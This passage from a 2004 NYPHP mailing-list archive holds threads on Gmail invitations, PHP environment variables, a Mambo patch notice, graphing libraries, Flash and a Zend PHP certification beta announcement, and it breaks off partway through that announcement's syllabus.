<20040616185248.75181.qmail@web12207.mail.yahoo.com> Message-ID: <20040616185446.78239.qmail@web12201.mail.yahoo.com> Or you can call it the killer of Yahoo. --- haha wrote: > The one you are using. > > --- max goldberg wrote: > > What's Gmail? > > > > On Tue, 15 Jun 2004 11:58:47 -0700 (PDT), haha > > wrote: > > > > > > Dear All: > > > > > > I would like to have a Gmail account? Could some one send > me > > an > > > invitation? > > > > > > Thanks in advance! > > > > > > Bill > > > > > > __________________________________ > > > Do you Yahoo!? > > > New and Improved Yahoo! Mail - 100MB free storage! > > > http://promotions.yahoo.com/new_mail > > > _______________________________________________ > > > talk mailing list > > > talk at lists.nyphp.org > > > http://lists.nyphp.org/mailman/listinfo/talk > > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > > > > > > __________________________________ > Do you Yahoo!? > New and Improved Yahoo! Mail - 100MB free storage! > http://promotions.yahoo.com/new_mail > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > __________________________________ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! http://promotions.yahoo.com/new_mail From tgales at tgaconnect.com Wed Jun 16 15:23:24 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 16 Jun 2004 15:23:24 -0400 Subject: [nycphp-talk] WAS: Gmail invitation Message-ID: <005a01c453d7$64eb9010$e98d3818@oberon1> I just couldn't help noticing that Google touts Gmail as easy to use because: "Keep it all in context. Each message is grouped with all its replies and displayed as a conversation." https://gmail.google.com/?dest=http%3A%2F%2Fgmail.google.com%2Fgmail Does that mean they've built (or are building) Conversationally Linked Email? No matter, unless they find a way to thread the email with other writings, they won't have a Clew... T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From Cbielanski at inta.org Wed Jun 16 15:31:04 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 16 Jun 2004 15:31:04 -0400 Subject: [OT] [nycphp-talk] WAS: Gmail invitation Message-ID: mmmm contextual hyperthreading. > -----Original Message----- > From: Tim Gales [mailto:tgales at tgaconnect.com] > Sent: Wednesday, June 16, 2004 3:23 PM > To: talk at lists.nyphp.org > Subject: [nycphp-talk] WAS: Gmail invitation > > > > I just couldn't help noticing that > Google touts Gmail as easy to use because: > > "Keep it all in context. > Each message is grouped with all its replies and displayed as > a conversation." > https://gmail.google.com/?dest=http%3A%2F%> 2Fgmail.google.com%2Fgmail > > Does that mean they've built (or are building) > Conversationally Linked Email? > > No matter, unless they find a way to thread the email > with other writings, they won't have a Clew... > > > T. Gales & Associates > 'Helping People Connect with Technology' > http://www.tgaconnect.com _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From csnyder at chxo.com Wed Jun 16 16:27:51 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Wed, 16 Jun 2004 16:27:51 -0400 Subject: [nycphp-talk] Magical disappearing environment Message-ID: <1087417671.40d0ad479251a@webmail.mxes.net> I recently inherited a PHP app that relies on shell environment variables (shudder) for some key settings. I'm using a fresh install of PHP 4.3.7 with php-recommended.ini. phpinfo() is listing the environment variables correctly (under "Environment") but the $_ENV array is empty when accessed in a script. What gives? Am I missing the crucial ini setting that turns on $_ENV? Thanks, csnyder From danielc at analysisandsolutions.com Wed Jun 16 16:33:58 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 16 Jun 2004 16:33:58 -0400 Subject: [nycphp-talk] Magical disappearing environment In-Reply-To: <1087417671.40d0ad479251a@webmail.mxes.net> References: <1087417671.40d0ad479251a@webmail.mxes.net> Message-ID: <20040616203358.GA19083@panix.com> Hola: On Wed, Jun 16, 2004 at 04:27:51PM -0400, csnyder at chxo.com wrote: > > What gives? Am I missing the crucial ini setting that turns on $_ENV? Does your variables_order have "E" in it? If not, add it. I'm in a similar situation. Even with E enabled, the TEMP and TMP environment vars don't show up in $_ENV. I'm running PHP 4 as a CGI under Apache on Windows 2000. Any ideas? Thanks, --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From csnyder at chxo.com Wed Jun 16 16:38:01 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Wed, 16 Jun 2004 16:38:01 -0400 Subject: [nycphp-talk] Magical disappearing environment In-Reply-To: <20040616203358.GA19083@panix.com> References: <1087417671.40d0ad479251a@webmail.mxes.net> <20040616203358.GA19083@panix.com> Message-ID: <1087418281.40d0afa90f8b2@webmail.mxes.net> Quoting Daniel Convissor : > Does your variables_order have "E" in it? If not, add it. D'oh! I knew it was something dumb. > I'm in a similar situation. Even with E enabled, the TEMP and TMP > environment vars don't show up in $_ENV. I'm running PHP 4 as a CGI > under Apache on Windows 2000. Any ideas? But getenv() works? From danielc at analysisandsolutions.com Wed Jun 16 16:55:53 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 16 Jun 2004 16:55:53 -0400 Subject: [nycphp-talk] Magical disappearing environment In-Reply-To: <1087418281.40d0afa90f8b2@webmail.mxes.net> References: <1087417671.40d0ad479251a@webmail.mxes.net> <20040616203358.GA19083@panix.com> <1087418281.40d0afa90f8b2@webmail.mxes.net> Message-ID: <20040616205553.GB20871@panix.com> On Wed, Jun 16, 2004 at 04:38:01PM -0400, csnyder at chxo.com wrote: > Quoting Daniel Convissor : > > > I'm in a similar situation. Even with E enabled, the TEMP and TMP > > environment vars don't show up in $_ENV. I'm running PHP 4 as a CGI > > under Apache on Windows 2000. Any ideas? > > But getenv() works? Nope. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From csnyder at chxo.com Wed Jun 16 17:06:09 2004 From: csnyder at chxo.com (csnyder at chxo.com) Date: Wed, 16 Jun 2004 17:06:09 -0400 Subject: [nycphp-talk] Magical disappearing environment In-Reply-To: <20040616205553.GB20871@panix.com> References: <1087417671.40d0ad479251a@webmail.mxes.net> <20040616203358.GA19083@panix.com> <1087418281.40d0afa90f8b2@webmail.mxes.net> <20040616205553.GB20871@panix.com> Message-ID: <1087419969.40d0b641ed5c7@webmail.mxes.net> I'm completely out of my league here (CGI), but have you tried using a PassEnv directive in httpd.conf? http://httpd.apache.org/docs/mod/mod_env.html#passenv Something like "PassEnv TEMP" should make $_SERVER['TEMP'] available in PHP. See also: http://httpd.apache.org/docs/env.html >From hans not junk at nyphp.com Wed Jun 16 17:28:30 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 44E1CA85EA for ; Wed, 16 Jun 2004 17:28:30 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Authentication with XML-RPC Date: Wed, 16 Jun 2004 14:28:28 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87028C852F at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Authentication with XML-RPC Thread-Index: AcRTQ0MckiXXfXNiR+iFNLO0+TYh+gApVw1A From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jun 2004 21:28:30 -0000 > thanks for the note. I would be happy to update / expand the review (of=20 > David Sklar's book) for nyphp.org. (I could also do reviews for other=20 > PHP/ MySQL/ Web Application Development/ CSS books which I have read.) That's great... having people write reviews, articles, etc. helps the entire community. > I tried sending a message to notjunk at nyphp.org, but it=20 > bounced back ... Sorry for the confusion: media notjunk at nyphp.org drop the notjunk and slide media over to right :) (to prevent spam to the address) H >From hans not junk at nyphp.com Wed Jun 16 17:33:30 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 0AA7EA85EA for ; Wed, 16 Jun 2004 17:33:30 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] WAS: Gmail invitation Date: Wed, 16 Jun 2004 14:33:28 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87028C8548 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] WAS: Gmail invitation Thread-Index: AcRT12mrGpHqVfuoQ3+s+P+Hhfhr8AAEdQFA From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jun 2004 21:33:30 -0000 > "Keep it all in context. > Each message is grouped with all its replies and displayed as a > conversation." > https://gmail.google.com/?dest=3Dhttp%3A%2F%2Fgmail.google.com%2Fgmail >=20 > Does that mean they've built (or are building)=20 > Conversationally Linked Email? Not really... > No matter, unless they find a way to thread the email=20 > with other writings, they won't have a Clew... Exactly. I've tried it and wasn't very impressed. For one, aside from mailing lists, threaded email isn't that useful. When I'm chatting with my buddy, I delete the previous message anyway, and I saw gmail break the thread incorrectly a couple of times. They have some hot frontend css/js though :) H >From hans not junk at nyphp.com Wed Jun 16 17:55:54 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 09068A85EA for ; Wed, 16 Jun 2004 17:55:54 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 16 Jun 2004 14:55:52 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87028C8596 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: OT: Lingo Programmers? Thread-Index: AcRT7K7R0EJyg7HKR7+Qb7+ulJ5MmA== From: "Hans Zaunere" To: "NYPHP Talk" Subject: [nycphp-talk] OT: Lingo Programmers? X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jun 2004 21:55:54 -0000 Looking for a potential gig with the help of a lingo programmer. Please contact me off list only. H From brian at preston-campbell.com Wed Jun 16 18:03:35 2004 From: brian at preston-campbell.com (Brian Preston-Campbell) Date: Wed, 16 Jun 2004 18:03:35 -0400 Subject: [nycphp-talk] OT: Lingo Programmers? In-Reply-To: <41EE526EC2D3C74286415780D3BA9F87028C8596@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F87028C8596@ehost011-1.exch011.intermedia.net> Message-ID: <200406161803.35248.brian@preston-campbell.com> On Wednesday 16 June 2004 05:55 pm, Hans Zaunere wrote: > Looking for a potential gig with the help of a lingo programmer. Please > contact me off list only. Isn't that the grammar robot from the Simpsons? ;) From sm11szw02 at sneakemail.com Wed Jun 16 22:24:18 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 16 Jun 2004 22:24:18 -0400 Subject: [nycphp-talk] Mambo attack under way - patch available Message-ID: <22641-90455@sneakemail.com> the Mambopots are seeing attacks on this hole now. Here's the patch link: http://forum.mamboserver.com/showthread.php?t=9750 From rolan at omnistep.com Thu Jun 17 03:05:28 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 17 Jun 2004 03:05:28 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <41EE526EC2D3C74286415780D3BA9F87028C8548@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F87028C8548@ehost011-1.exch011.intermedia.net> Message-ID: <40D142B8.70505@omnistep.com> Hey, if you want to check out a really hot front end for webmail, give oddpost.com a try. They have a free trial now. ~Rolan Hans Zaunere wrote: >>No matter, unless they find a way to thread the email >>with other writings, they won't have a Clew... >> >> > >Exactly. I've tried it and wasn't very impressed. For one, aside from >mailing lists, threaded email isn't that useful. When I'm chatting with >my buddy, I delete the previous message anyway, and I saw gmail break >the thread incorrectly a couple of times. > >They have some hot frontend css/js though :) > > > From shawn at shawnlawyer.com Thu Jun 17 06:25:51 2004 From: shawn at shawnlawyer.com (Shawn Lawyer) Date: Thu, 17 Jun 2004 06:25:51 -0400 Subject: [nycphp-talk] WAS: Gmail invitation References: <41EE526EC2D3C74286415780D3BA9F87028C8548@ehost011-1.exch011.intermedia.net> <40D142B8.70505@omnistep.com> Message-ID: <000b01c45455$77526b60$1302a8c0@Vaio> Yahoo doesn't seem to be throwing in the towel yet. It'd been a few days since I checked my Yahoo mail and found a pleasent new interface, more storage, and the ability to send larger emails. Scarey actually, larger spam. ;) So while google works on their Gmail privately, Yahoo makes a public plee for help. Moo, Shawn From csnyder at chxo.com Thu Jun 17 07:51:04 2004 From: csnyder at chxo.com (Chris Snyder) Date: Thu, 17 Jun 2004 07:51:04 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <005a01c453d7$64eb9010$e98d3818@oberon1> References: <005a01c453d7$64eb9010$e98d3818@oberon1> Message-ID: <40D185A8.6050009@chxo.com> Tim Gales wrote: >[Google] are building >Conversationally Linked Email? > >No matter, unless they find a way to thread the email >with other writings, they won't have a Clew... > > > Of course, if you factor in Blogger, there's a heck of a lot of potential there... From sm11szw02 at sneakemail.com Thu Jun 17 08:40:55 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 17 Jun 2004 08:40:55 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <40D142B8.70505@omnistep.com> References: <41EE526EC2D3C74286415780D3BA9F87028C8548@ehost011-1.exch011.intermedia.net> <40D142B8.70505@omnistep.com> Message-ID: <11336-76457@sneakemail.com> Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > Hey, if you want to check out a really hot front end for webmail, > give oddpost.com a try. They have a free trial now. > > ~Rolan Looks like IE only for Outpost. From tgales at tgaconnect.com Thu Jun 17 08:43:41 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 17 Jun 2004 08:43:41 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <40D185A8.6050009@chxo.com> Message-ID: <006901c45468$bac10380$e98d3818@oberon1> Chris Snyder writes > > Tim Gales wrote: > > >[Google] are building > >Conversationally Linked Email? > > > >No matter, unless they find a way to thread the email > >with other writings, they won't have a Clew... > > Of course, if you factor in Blogger, there's a heck of a lot of > potential there... Yes, and if they semantically weave blogs into the mail, then we will have been (almost) 'beaten to the punch'. Other writings in Clew, at least in terms of the name, was meant to primarily cover blogging. I think Clew in its implementation may have become more ambitious and may have expanded to cover practically any resource document. (will have to check the non-existent design docs on that) 'Other writings' was originally picked because it is somewhat vague and thus could cover, in a quasi-extensible way, any 'next big things'. (well that and the fact that C.L.E.B. didn't have a very good 'ring' to it) T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com "You say that you can and then you run to get your mummy" -- Elvis Costello From tgales at tgaconnect.com Thu Jun 17 10:00:28 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 17 Jun 2004 10:00:28 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <40D142B8.70505@omnistep.com> Message-ID: <006c01c45473$72fad570$e98d3818@oberon1> Rolan Yang writes: > > Hey, if you want to check out a really hot front end for > webmail, give oddpost.com a try. They have a free trial now. > Okay I tried going over there. I got thrown four or five cookies (I didn't really count them -- it just seemed I had to answer no many time to an IE privacy alert msg box) One of the cookies wouldn't say what it was going to use the cookie info for -- you know, no privacy policy information. One cookie did say what its information was going to be used for. It was from hitbox. (of course very few times, if ever, does anyone take the time and to try actually check and see if people are 'living up' to what they promise in terms of their privacy policy anyway so maybe the point is moot) Hitbox cookies have a pretty big 'clot factor' ('clot factor' is a measure of how much something gums up a machine running windows by adding registry entries, files, and directories -- basically gunk) I didn't check all the cookies to see which ones were coming from hitbox (there are about a half a dozen or so possible cookies they might send), I just said no to any more cookies. Of course I could remove this gunk (or clot) later when my browser starts to clog and bog down. Then I got a 'friendly' message box informing me that outpost couldn't function properly with the way my browser settings were configured. And it gave me step by step instructions on how to hand over root privileges to them -- people I don't know. ( I know I could log in as a lesser privileged user to XP for browsing -- but who has the time for that?) Actually there are some rather nasty exploits (which are published nevertheless) available to malicious intruders of your machine via Internet Explorer -- which Microsoft knows about. (I think there is an SP2 patch ready or near ready from Microsoft to combat the security holes) The point is you might want to refrain from running active-x controls until you get the new patch. Apologies in advance -- I know this is not a windows list. Still the advice to not run active-x controls probably will be of value to many on this list. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From rolan at omnistep.com Thu Jun 17 10:10:18 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 17 Jun 2004 10:10:18 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <11336-76457@sneakemail.com> References: <41EE526EC2D3C74286415780D3BA9F87028C8548@ehost011-1.exch011.intermedia.net> <40D142B8.70505@omnistep.com> <11336-76457@sneakemail.com> Message-ID: <40D1A64A.9000108@omnistep.com> yea. Gmail isn't compatible with Opera browser either.. only: Microsoft IE 5.5 and newer (download: Windows) Netscape 7.1 and newer (download: Windows Macintosh Linux ) Mozilla 1.4 and newer (download: Windows Macintosh Linux ) Mozilla Firefox 0.8 and newer (download: Windows Macintosh Linux ) Safari 1.2.1 and newer (download: Macintosh ) inforequest wrote: > Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > >> Hey, if you want to check out a really hot front end for webmail, >> give oddpost.com a try. They have a free trial now. >> >> ~Rolan > > > Looks like IE only for Outpost. > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From rolan at omnistep.com Thu Jun 17 10:19:36 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 17 Jun 2004 10:19:36 -0400 Subject: [nycphp-talk] WAS: Gmail invitation In-Reply-To: <006c01c45473$72fad570$e98d3818@oberon1> References: <006c01c45473$72fad570$e98d3818@oberon1> Message-ID: <40D1A878.50209@omnistep.com> Clot factor.. that is an interesting one. I've never considered cookies to be something that could bog down the OS or a security threat. ActiveX is totally another story though.. My primary browser of choice is Opera. Unfortunately, I had to fire up IE to give oddpost a try. The interface is nice... a little more than you would expect from webmail (thanks to that extra non-standard functionality MS throws into their browser). I don't plan to pay for the service since Thunderbird + Squirremail do the job just fine as is.. but in reply to Hans' comment about gmail's nice interface, I thought I'd bring up the service an alternate comparison. ~Rolan Tim Gales wrote: >Okay I tried going over there. > >I got thrown four or five cookies >(I didn't really count them -- > it just seemed I had to answer no > many time to an IE privacy alert msg box) > >One of the cookies wouldn't say what it >was going to use the cookie info for -- >you know, no privacy policy information. > >One cookie did say what its information >was going to be used for. It was from hitbox. >(of course very few times, if ever, does anyone >take the time and to try actually check and see if people >are 'living up' to what they promise in terms of >their privacy policy anyway so maybe the point is >moot) > > > From ashaw at iifwp.org Thu Jun 17 14:36:16 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Thu, 17 Jun 2004 14:36:16 -0400 Subject: [nycphp-talk] graphing class? Message-ID: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> Hi Folks, I'm about to begin a little project to analyze our network speed by logging periodic ping requests and then graphing the results over a period of time. It's a curiousity I have, and it seems like a good excuse to learn a little about php for graphs. Can anybody recommend an existing class that would help me do this without writing code from scratch? I have zero PEAR experience, so this might also be my chance to learn more about that, too. Thanks in advance, Allen -- =========================================================== Allen Shaw IIFWP Data and IT Services http://www.iifwp.org From crisscott at netzero.com Thu Jun 17 14:42:43 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Thu, 17 Jun 2004 14:42:43 -0400 Subject: [nycphp-talk] graphing class? In-Reply-To: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> References: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> Message-ID: <40D1E623.2060405@netzero.com> I'll throw two choices at you: 1) Excellent professional quality graphing package: http://www.aditus.nu/jpgraph/ 2) Shameless promotion of something I wrote a while back just for fun: http://www.phpclasses.org/browse/package/1263.html Scott Mattocks Allen Shaw wrote: > Hi Folks, > > I'm about to begin a little project to analyze our network speed by logging > periodic ping requests and then graphing the results over a period of time. > It's a curiousity I have, and it seems like a good excuse to learn a little > about php for graphs. > > Can anybody recommend an existing class that would help me do this without > writing code from scratch? I have zero PEAR experience, so this might also > be my chance to learn more about that, too. > > Thanks in advance, > Allen > > -- > =========================================================== > Allen Shaw > IIFWP Data and > IT Services http://www.iifwp.org > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From andrew at digitalpulp.com Thu Jun 17 14:45:42 2004 From: andrew at digitalpulp.com (Andrew Yochum) Date: Thu, 17 Jun 2004 14:45:42 -0400 Subject: [nycphp-talk] graphing class? In-Reply-To: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> References: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> Message-ID: <20040617184533.GP25216@thighmaster.digitalpulp.com> On Thu, Jun 17, 2004 at 02:36:16PM -0400, Allen Shaw wrote: > Hi Folks, > > I'm about to begin a little project to analyze our network speed by logging > periodic ping requests and then graphing the results over a period of time. > It's a curiousity I have, and it seems like a good excuse to learn a little > about php for graphs. > > Can anybody recommend an existing class that would help me do this without > writing code from scratch? I have zero PEAR experience, so this might also > be my chance to learn more about that, too. JpGraph is excellent class library for generating graphs, IMO. Its well written, very well documented, and comes with an extensive set of examples. http://www.aditus.nu/jpgraph/ HTH, Andrew From heli_travel at yahoo.com Thu Jun 17 16:44:13 2004 From: heli_travel at yahoo.com (haha) Date: Thu, 17 Jun 2004 13:44:13 -0700 (PDT) Subject: [nycphp-talk] PHP and Flash In-Reply-To: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> Message-ID: <20040617204413.64352.qmail@web12207.mail.yahoo.com> Hi All: Here is a page: http://www.xcooter.com/s_xc500gt2.shtml Can I write a PHP and Flash to change it's picrure on the fly? Thanks, Bill __________________________________ Do you Yahoo!? Take Yahoo! Mail with you! Get it on your mobile phone. http://mobile.yahoo.com/maildemo From ashaw at iifwp.org Thu Jun 17 16:56:26 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Thu, 17 Jun 2004 16:56:26 -0400 Subject: [nycphp-talk] graphing class? References: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> <40D1E623.2060405@netzero.com> Message-ID: <018f01c454ad$8e8b3660$7201a8c0@iifwp.local> Wow, this JPgraph really does look good. Think I'll give it a try. BTW, did you know about it before you began your just-for-fun project? - A. ----- Original Message ----- From: "Scott Mattocks" To: "NYPHP Talk" Sent: Thursday, June 17, 2004 2:42 PM Subject: Re: [nycphp-talk] graphing class? > I'll throw two choices at you: > 1) Excellent professional quality graphing package: > http://www.aditus.nu/jpgraph/ > > 2) Shameless promotion of something I wrote a while back just for fun: > http://www.phpclasses.org/browse/package/1263.html > > Scott Mattocks > From crisscott at netzero.com Thu Jun 17 16:59:50 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Thu, 17 Jun 2004 16:59:50 -0400 Subject: [nycphp-talk] graphing class? In-Reply-To: <018f01c454ad$8e8b3660$7201a8c0@iifwp.local> References: <013d01c45499$fa0b71c0$7201a8c0@iifwp.local> <40D1E623.2060405@netzero.com> <018f01c454ad$8e8b3660$7201a8c0@iifwp.local> Message-ID: <40D20646.1070403@netzero.com> Allen Shaw wrote: > BTW, did you know about it before you began your just-for-fun project? No but even if I did I probably would have written the other one anyway. I just wanted to play with dynamic image creation. Scott Mattocks From webmaster at localnotion.com Thu Jun 17 17:04:23 2004 From: webmaster at localnotion.com (Matthew Terenzio) Date: Thu, 17 Jun 2004 17:04:23 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <20040617204413.64352.qmail@web12207.mail.yahoo.com> References: <20040617204413.64352.qmail@web12207.mail.yahoo.com> Message-ID: What do you mean, "change on the fly?" Matt On Jun 17, 2004, at 4:44 PM, haha wrote: > Hi All: > > Here is a page: > http://www.xcooter.com/s_xc500gt2.shtml > Can I write a PHP and Flash to change it's picrure on the fly? > > Thanks, > > Bill > > > > > __________________________________ > Do you Yahoo!? > Take Yahoo! Mail with you! Get it on your mobile phone. > http://mobile.yahoo.com/maildemo > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From heli_travel at yahoo.com Thu Jun 17 19:40:58 2004 From: heli_travel at yahoo.com (haha) Date: Thu, 17 Jun 2004 16:40:58 -0700 (PDT) Subject: [nycphp-talk] PHP and Flash In-Reply-To: Message-ID: <20040617234058.77373.qmail@web12201.mail.yahoo.com> Yes, I mean I can insert 4 pictures in the DB, then this tool can generate this Flash movie right way. Is it possible? Thanks! --- Matthew Terenzio wrote: > What do you mean, "change on the fly?" > > Matt > > On Jun 17, 2004, at 4:44 PM, haha wrote: > > > Hi All: > > > > Here is a page: > > http://www.xcooter.com/s_xc500gt2.shtml > > Can I write a PHP and Flash to change it's picrure on the > fly? > > > > Thanks, > > > > Bill > > > > > > > > > > __________________________________ > > Do you Yahoo!? > > Take Yahoo! Mail with you! Get it on your mobile phone. > > http://mobile.yahoo.com/maildemo > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From kushner at gmail.com Thu Jun 17 20:08:33 2004 From: kushner at gmail.com (Daniel Kushner) Date: Thu, 17 Jun 2004 20:08:33 -0400 Subject: [nycphp-talk] Zend PHP Certification Message-ID: <7ac626ed040617170817f55c6f@mail.gmail.com> NYPHP List: This email was sent out to selected Zend clients. Due to requests from individuals from this group I would like to extend the offer to NYPHP. Please don't hesitate to contact me at daniel at zend.com with any questions you many have. Best, Daniel Dear PHPer, As the PHP company, Zend has been approached by many asking it to establish an industry standard that recognizes PHP expertise. In order to do that Zend has partnered with PHP experts worldwide to create the Zend PHP certification exam. The Zend PHP Education Advisory Board has specified a curriculum essential to demonstrate expert proficiency in PHP. Benefits of Becoming a Zend Certified PHP Programmer ==================================================== In today's competitive market, it's more difficult than ever to stand out from the competition. The Zend PHP Certification credential offers a variety of benefits: - Differentiate yourself from competitors when looking for a new job or at your annual salary review - Get your resume noticed - Gain recognition from your employer - Have your profile displayed in Zend's "Yellow Pages for PHP Professionals" Who's on the Zend PHP Education Advisory Board? ============================================== Andi Gutmans Chris Shiflett Damien Seguy Daniel Kushner David Sklar Derick Rethans George Schlossnagle John Coggeshall Marco Tabini Marcus Boerger Martin Jansen Zeev Suraski As with any certification of this magnitude, the test questions need to be checked for clarity and performance by means of a beta exam. The beta exam consists of up to 110 questions instead of just 70 that will make it to the final exam. Those who take the beta will qualify for the Zend PHP Certification once we know which questions will be in the final exam and if enough questions were answered correctly - the passing score will be determined after the beta analysis. I would like to invite you to take the beta exam available on June 21st through June 30th. The cost of the exam is only $80 as opposed to the final examination fee of $200. Beta exams are limited so I urge you to sign up as soon as possible to reserve a place at a test center near you. Visit http://www.vue.com/zend/ to register for the beta. What will be tested? =================== Chapter one - the basics of PHP This chapter will cover basic information about the HP and its role in web development. All the basic elements of the language, such as definitions, conventions, uses, language elements and so one will be covered. . Introducing PHP . PHP and HTML . PHP and XML . PHP and databases . Creating a PHP page . Using PHP tags . Language basics . Constants and variables . Identifiers . Operators . Conditional structures . Iteration and loops . Functions . Variable functions . Including files Chapter two - object-oriented PHP This chapter provides information about OOP in PHP. . The basics of object oriented programming . Classes . Instantiation and constructors . Attributes . Accessing objects, methods and attributes . Implementing inheritance Chapter three - PHP and the web This chapter will provide a broader introduction to the way PHP interacts with the web. For the most part, this chapter will deal with the superarrays and it's sessions. . Creating HTML content using PHP . Client side and server side embedding PHP in HTML . Creating forms . GET and POST: accessing form variables . Cookies . The superarrays: accessing global information . Session management Chapter four - arrays This chapter introduces arrays and their use in PHP. . Variable collections: introducing arrays . Numerically indexed and associative arrays . Multidimensional arrays . Sorting . Reordering . Serializing arrays . Manipulating arrays Chapter five - strings and regular expressions This chapter deals with string manipulation, both using traditional functions and through regular expressions. . Formatting strings . Comparing strings . Modifying string contents . Regular expressions . Extract in data from strings . Joining and splitting strings Chapter six - file manipulation The details of manipulating files and interacting with the filesystem are discussed in this chapter. . Opening a file . Writing to a file . Reading from a file . Closing a file . In two rounds with the file system . File locking Chapter seven - managing dates and time This chapter explores the date and time functions built into PHP, with a particular eye to database interaction and the limitations of the Unix time tracking system. . Dates in PHP . Getting the current date . Converting a strained into a date . More date functions . Date calculations . Dates and databases . Using the calendar functions . The UNIX epoch and the dangers of UNIX 